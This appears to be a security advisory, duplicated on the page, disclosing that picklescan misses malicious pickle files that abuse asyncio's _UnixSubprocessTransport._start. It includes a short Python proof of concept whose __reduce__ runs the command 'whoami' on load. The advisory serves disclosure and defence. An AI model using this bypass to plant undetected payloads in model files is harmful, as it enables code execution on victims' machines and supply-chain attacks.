Summary
Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
from asyncio.unix_events import _UnixSubprocessTransport
from types import SimpleNamespace
class EvilAsyncioUnixSubprocessTransportStart:
def __reduce__(self):
fake_self = SimpleNamespace(
_loop=None,
_protocol=None,
_proc=None
)
args = "whoami"
return _UnixSubprocessTransport._start, (
fake_self, args, True, None, None, None, 0
)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
References
FredericDT Reporter
Summary
Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
References